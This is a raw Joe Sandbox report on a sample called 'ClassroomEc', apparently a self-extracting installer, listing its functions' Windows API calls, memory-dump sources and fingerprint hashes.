Part of subcall function 00D6B300: FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,00000000,?,?,00000000,00000000), ref: 00D6B393
Part of subcall function 00D6B300: lstrlenW.KERNEL32(?,?,?,00000000,00000000), ref: 00D6B3A8
Part of subcall function 00D6B300: lstrlenW.KERNEL32(?,?,?,00000000,00000000), ref: 00D6B3BB
Part of subcall function 00D6B300: ??2@YAPAXI@Z.MSVCRT ref: 00D6B3DC
Part of subcall function 00D6B300: lstrcpyW.KERNEL32(?,?), ref: 00D6B404
Part of subcall function 00D6B300: lstrcpyW.KERNEL32(?,?), ref: 00D6B437
Part of subcall function 00D6B300: ??3@YAXPAX@Z.MSVCRT ref: 00D6B45F
Part of subcall function 00D6B300: LocalFree.KERNEL32(?), ref: 00D6B46E

GetExitCodeThread.KERNELBASE(00000284,00000000), ref: 00D62E58
SetLastError.KERNEL32(00000000), ref: 00D62EA9

Strings

i, xrefs: 00D62DD1

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ErrorFormatLastMessageThreadlstrcpylstrlen$??2@??3@AllocatorCodeCreateDebugExitFreeHeapLocalObjectSingleWaitwvsprintf
String ID: i
API String ID: 974866615-3865851505
Opcode ID: d64021a04763b26e33a48a2be7f095923f3d0dcea95f8359faf7eb4261201552
Instruction ID: 455323c6e4770d696ca8e49ee837da3cf3430c75ff535f56174bf267796a800e
Opcode Fuzzy Hash: d64021a04763b26e33a48a2be7f095923f3d0dcea95f8359faf7eb4261201552
Instruction Fuzzy Hash: B941DD71A14708EBD720DB98EC06F797372EB44305F28422AF545DA3D2C371AA84DB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D63790 Relevance: 7.6, APIs: 5, Instructions: 75
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D635B0: _DebugHeapAllocator.LIBCPMTD ref: 00D635C0
Part of subcall function 00D635B0: wcsncpy.MSVCRT ref: 00D635E4

GetTempPathW.KERNEL32(00000001,00000000,00000002), ref: 00D637AB
GetTempPathW.KERNEL32(-00000001,00000000,-00000001,00000000), ref: 00D637DB
wsprintfW.USER32 ref: 00D63833
GetFileAttributesW.KERNELBASE(00000000), ref: 00D6384D
_DebugHeapAllocator.LIBCPMTD ref: 00D63863

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeapPathTemp$AttributesFilewcsncpywsprintf
String ID:
API String ID: 3320338524-0
Opcode ID: c7c2546f5610eecd0a55537054ac53813692313d3df5687acd5c5c9fa1f1260c
Instruction ID: 5f80f2beadb730e6d9c09d1c3d89479f3754a73816f341e5d1ffba9abbd2c19c
Opcode Fuzzy Hash: c7c2546f5610eecd0a55537054ac53813692313d3df5687acd5c5c9fa1f1260c
Instruction Fuzzy Hash: 0921F670D0010AEBCB04EBA4C992AFEB7B8EF44305F644119F506B7291EB306B48CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D63D20 Relevance: 7.5, APIs: 5, Instructions: 36
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(00D64DBB,00000000,00D64DBB,00000000,?,?,?,?,?,?,?,?,?,?,?,00D62B43), ref: 00D63D2C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D62B43,00000000,00000000,?), ref: 00D63D36
SetLastError.KERNEL32(000000B7), ref: 00D63D4C
GetFileAttributesW.KERNELBASE(000000B7), ref: 00D63D5A
SetLastError.KERNEL32(000000B7), ref: 00D63D75

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ErrorLast$AttributesCreateDirectoryFile
String ID:
API String ID: 635176117-0
Opcode ID: 13d94d340e34fd04b414d3e0f004b137b267813c39e69b330d8757757326192e
Instruction ID: 6bfea263b0769ff82d7cb9d201701fc39ec0e9a89be28ccae1b7c1b72265b9d7
Opcode Fuzzy Hash: 13d94d340e34fd04b414d3e0f004b137b267813c39e69b330d8757757326192e
Instruction Fuzzy Hash: B2F0FF35914308EBCB10EFB4D85CAADBBB8AB18355F184558E856DB290D735DA41CF70

Uniqueness

Uniqueness Score: -1.00%

Function 00D63E20 Relevance: 6.4, APIs: 5, Instructions: 160
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(?), ref: 00D63E56
lstrlenA.KERNEL32(?), ref: 00D63E63
memcmp.MSVCRT ref: 00D63F5F
memmove.MSVCRT ref: 00D64064

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: lstrlen$memcmpmemmove
String ID:
API String ID: 2994076250-0
Opcode ID: 6bee9592442c6d4fc9015f5a7be92900c0a279471a87e7471717eea1c1bec67a
Instruction ID: 69806ba1333801b3a5ecda00a2abfc72bf47f071f4179b39c4a3d54fba1f888e
Opcode Fuzzy Hash: 6bee9592442c6d4fc9015f5a7be92900c0a279471a87e7471717eea1c1bec67a
Instruction Fuzzy Hash: B3613B70E042999BCB14CF58C894BEEB7B5BF48384F148199E999A7284D7B19F84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00D661F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

;!@Install@!UTF-8!, xrefs: 00D6621D
;!@InstallEnd@!, xrefs: 00D66218

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: lstrlen$FormatMessagelstrcpy$??2@??3@ErrorFreeLastLocalwvsprintf
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 617470318-372238525
Opcode ID: 78b3743f6c0602b3c42f181f7a68ac6d70067fa44eeb24d2cdf3d5cf50f71497
Instruction ID: b887ad7052a1e10721a19743333d28b1f07d0fee6d0544ee7103cd3d12516514
Opcode Fuzzy Hash: 78b3743f6c0602b3c42f181f7a68ac6d70067fa44eeb24d2cdf3d5cf50f71497
Instruction Fuzzy Hash: 3F215C74A00209ABDB04EF95DC62BAE7374EF14704F504558F5156B1C2EBB0EA18CBF5

Uniqueness

Uniqueness Score: -1.00%

Function 00D66180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(75900000,GetNativeSystemInfo), ref: 00D66191
GetNativeSystemInfo.KERNELBASE(?), ref: 00D661A4

Strings

GetNativeSystemInfo, xrefs: 00D66186

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AddressInfoNativeProcSystem
String ID: GetNativeSystemInfo
API String ID: 2220751540-3949249589
Opcode ID: 68ded44e6ba96334a3c30e3ad6dce01c8ccea693aa9b7050f2d1a23960123384
Instruction ID: d86cf2bd87f03c55d3c2f6a78ad5ce23d6ca98c7492ab744c09442e05502bb7b
Opcode Fuzzy Hash: 68ded44e6ba96334a3c30e3ad6dce01c8ccea693aa9b7050f2d1a23960123384
Instruction Fuzzy Hash: 88E0B630915308EBCB04EBA8995D5EDB7B8AB09311F140555F845A2290E6389A94D770

Uniqueness

Uniqueness Score: -1.00%

Function 00D62390 Relevance: 4.6, APIs: 3, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D623A4
_DebugHeapAllocator.LIBCPMTD ref: 00D62435
_DebugHeapAllocator.LIBCPMTD ref: 00D6246C

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap
String ID:
API String ID: 571936431-0
Opcode ID: a8f348085104e0598e1c5565c906dd49fb3d53b3081ac22fe04172611f5302bd
Instruction ID: 8f816f4c34c69928be5a362c6e3e569066e3f50e10a3c68153548b593f2e402c
Opcode Fuzzy Hash: a8f348085104e0598e1c5565c906dd49fb3d53b3081ac22fe04172611f5302bd
Instruction Fuzzy Hash: 55314BB5A0021A8BCB04DF95C991AFF73B5FF64304F144419F816AB291EB34AE64CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D79300 Relevance: 4.6, APIs: 3, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00D7933A
??3@YAXPAX@Z.MSVCRT ref: 00D79357
_wmemmove.LIBCMTD ref: 00D7938A

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ??2@??3@_wmemmove
String ID:
API String ID: 328067375-0
Opcode ID: 57640352dee917e0f3097d4ee9c6a7c98d6df61b4aaa9fea7e377f44341e8775
Instruction ID: 9fc1b8f9c7606a76b452b6d9899e43685ee60b10c0e219e4820f58f31627cc04
Opcode Fuzzy Hash: 57640352dee917e0f3097d4ee9c6a7c98d6df61b4aaa9fea7e377f44341e8775
Instruction Fuzzy Hash: 7E11AAF5E00109AFCB04DF98D9959AEF7F5EF48300F248169E809A7355E631EE11CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00D636C0 Relevance: 4.5, APIs: 3, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D636D5
_DebugHeapAllocator.LIBCPMTD ref: 00D636E1

Part of subcall function 00D66500: ??2@YAPAXI@Z.MSVCRT ref: 00D6650B

_DebugHeapAllocator.LIBCPMTD ref: 00D63702

Part of subcall function 00D79450: _wmemmove.LIBCMTD ref: 00D7948E

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap$??2@_wmemmove
String ID:
API String ID: 4287629685-0
Opcode ID: 4e7e7c5396c2d26133971e21a8ea736505215e008678d6acc4ebd2d4022da895
Instruction ID: a3eb7d5dbe9d8a531f670d74bbf5fe7791a68025ee9c4e7593222c5cc2f7cfc1
Opcode Fuzzy Hash: 4e7e7c5396c2d26133971e21a8ea736505215e008678d6acc4ebd2d4022da895
Instruction Fuzzy Hash: 9101DABA900108ABCB08FF94D8A39EEB778EF14344F444159F516661A1EF716E48CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 00D70C60 Relevance: 4.0, APIs: 3, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a428452f26b4bad9ffefe7b3396bbdfbea0c2ec55da0ce5a401cc43b0424be5c
Instruction ID: 25b2f69d32d6f91d1c873a9b3d5a1bb37df1c1a4cb35857265eead9ba2777eeb
Opcode Fuzzy Hash: a428452f26b4bad9ffefe7b3396bbdfbea0c2ec55da0ce5a401cc43b0424be5c
Instruction Fuzzy Hash: BCA1F570D01208DFCB14DF98D991AEEBBB2FF48304F28C559E419AB295E734AE45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00D76D10 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00D76D4A

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: dd775b334539a5d9918ab24e5fc0ca6515c88f662bcb4e44faefb6f2948c7f31
Instruction ID: 742c57e6f3bca24fffe20fb771f234e298ced55984b158ed12668efe4decb959
Opcode Fuzzy Hash: dd775b334539a5d9918ab24e5fc0ca6515c88f662bcb4e44faefb6f2948c7f31
Instruction Fuzzy Hash: 3E111674A14609EFCB18DF98D444AAA77B5AB48300F14C098E84A9B345E630EA45CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D767B0 Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,?), ref: 00D767E2
GetLastError.KERNEL32 ref: 00D767F1

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: e231588e75b7eca0156815dd4f2b028a6ba69c291e378abc3aaeeea22f533da9
Instruction ID: 7448dc3e9b9627e08573e30b3b7d91e0c8bc7cdc84899b7ae9c31d2fe43f3275
Opcode Fuzzy Hash: e231588e75b7eca0156815dd4f2b028a6ba69c291e378abc3aaeeea22f533da9
Instruction Fuzzy Hash: D7014075900218ABCB04DFA8D8959DEBBF5EF4C310F24C159E859D7340E630DA41DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D62FA0 Relevance: 3.0, APIs: 2, Instructions: 42sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000014), ref: 00D62FBA
EndDialog.USER32(00000000,00000000), ref: 00D6301E

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: DialogSleep
String ID:
API String ID: 2355613043-0
Opcode ID: caad23723a7c765e8fa85572f33b4084116e77b76192f6370bbfb65a411d69ef
Instruction ID: c27f05c270e87270e9d278479880eb43d0cf1c19091f3f26c431bbcb0c660897
Opcode Fuzzy Hash: caad23723a7c765e8fa85572f33b4084116e77b76192f6370bbfb65a411d69ef
Instruction Fuzzy Hash: 89014C70A10308EFDB28EF98D855BAAB7B6FB49715F144699E6119B3E0C7315A40CF70

Uniqueness

Uniqueness Score: -1.00%

Function 00D66880 Relevance: 3.0, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D668BC
SetEnvironmentVariableW.KERNELBASE(00000000,00000000,00000000,00000000), ref: 00D668EC

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugEnvironmentHeapVariable
String ID:
API String ID: 1617098807-0
Opcode ID: ab172aa233fccee4fb5c5e4286c5c3259599bb5fc407a49a7e6fb5b0c1a83869
Instruction ID: 1516741323b836d4818ccce2a73d1a35439da5b73adbcc489aaed4aa693f733b
Opcode Fuzzy Hash: ab172aa233fccee4fb5c5e4286c5c3259599bb5fc407a49a7e6fb5b0c1a83869
Instruction Fuzzy Hash: 48011DB5D01109EBCF04FBB4D8529BEB379EB54304F5044A9F409E72D2EA31AA049776

Uniqueness

Uniqueness Score: -1.00%

Function 00D6E5B0 Relevance: 3.0, APIs: 2, Instructions: 533COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT ref: 00D6E7ED
??2@YAPAXI@Z.MSVCRT ref: 00D6E88E

Part of subcall function 00D79C10: Concurrency::IVirtualProcessorRoot::IVirtualProcessorRoot.LIBCMTD ref: 00D79C1A

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: ??2@ProcessorVirtual$Concurrency::RootRoot::
String ID:
API String ID: 879816989-0
Opcode ID: f558c02c5c0bcbe10b177b0b1b534607d49665edc7c39f48c36ea846cc798978
Instruction ID: 5667bbd68a092ea0fd4a0a32e74ad8f7805666f2e36b3f144854daa19015f812
Opcode Fuzzy Hash: f558c02c5c0bcbe10b177b0b1b534607d49665edc7c39f48c36ea846cc798978
Instruction Fuzzy Hash: 7642C374A002288FCB68DF54CC91BEDB7B1BF99304F1481E9E54AA7291DB306E85CF65

Uniqueness

Uniqueness Score: -1.00%

Function 00D62312 Relevance: 1.6, APIs: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

_DebugHeapAllocator.LIBCPMTD ref: 00D62268

Part of subcall function 00D704F0: ??3@YAXPAX@Z.MSVCRT ref: 00D70505

Part of subcall function 00D61E40: memset.MSVCRT ref: 00D61E5E
Part of subcall function 00D61E40: _DebugHeapAllocator.LIBCPMTD ref: 00D61ED4

GetLastError.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,00D89730,?,?,?,00000000,?), ref: 00D622B7

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AllocatorDebugHeap$??3@ErrorLastmemset
String ID:
API String ID: 1417051094-0
Opcode ID: 6c1b97c2b90f303772ba27adefdcf54a235239929e2fe9dd92cc7a33cc8f683a
Instruction ID: e084c7365593ea4ae9f34ce70c53934a306a621b8be36c43c00fac3a92736b29
Opcode Fuzzy Hash: 6c1b97c2b90f303772ba27adefdcf54a235239929e2fe9dd92cc7a33cc8f683a
Instruction Fuzzy Hash: 15114F75C102089BDB15FBE1DC669EEB738EF54304F488128B50AA6192FF35AA19CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D62560 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(00000000,?), ref: 00D625C0

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: dc1e544fed2a1b0dcf9e82ecec3635eeb18f8837990f19aea495cb63ebdd476a
Instruction ID: 48fa2ad7b2a3b38aa1d5f0a28a8642b2449d7948156a53dc766c13ca9cd55585
Opcode Fuzzy Hash: dc1e544fed2a1b0dcf9e82ecec3635eeb18f8837990f19aea495cb63ebdd476a
Instruction Fuzzy Hash: 2201E1706005049BC718DF59D865B7977A6EF48344F448019F90ACB792DB30E990CBB5

Uniqueness

Uniqueness Score: -1.00%

Function 00D6DB30 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

codecvt.LIBCPMTD ref: 00D6DB75

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: codecvt
String ID:
API String ID: 3662085145-0
Opcode ID: 83591acb39805b45cadf740831f139ff59013fcdbe6ed1d7997e73483f31122d
Instruction ID: c072125b2ea42bb6f554dd91d141df87fddf1975ac5d285053da2e9498eab0f2
Opcode Fuzzy Hash: 83591acb39805b45cadf740831f139ff59013fcdbe6ed1d7997e73483f31122d
Instruction Fuzzy Hash: FB01CD70E01109EFCB04EFA8D5456AEB7B1FF48304F2045A9D40567295D7705E40DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D766C0 Relevance: 1.5, APIs: 1, Instructions: 33fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,?,80000000,00000000,?,00D76886,00000000,?,?,00D76886,?,80000000,?,?,?), ref: 00D766F2

Memory Dump Source

Source File: 0000000C.00000002.2248712226.0000000000D61000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00D60000, based on PE: true

Associated: 0000000C.00000002.2248689297.0000000000D60000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248750476.0000000000D89000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248772948.0000000000D8D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 0000000C.00000002.2248797771.0000000000D90000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_d60000_ClassroomEc.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
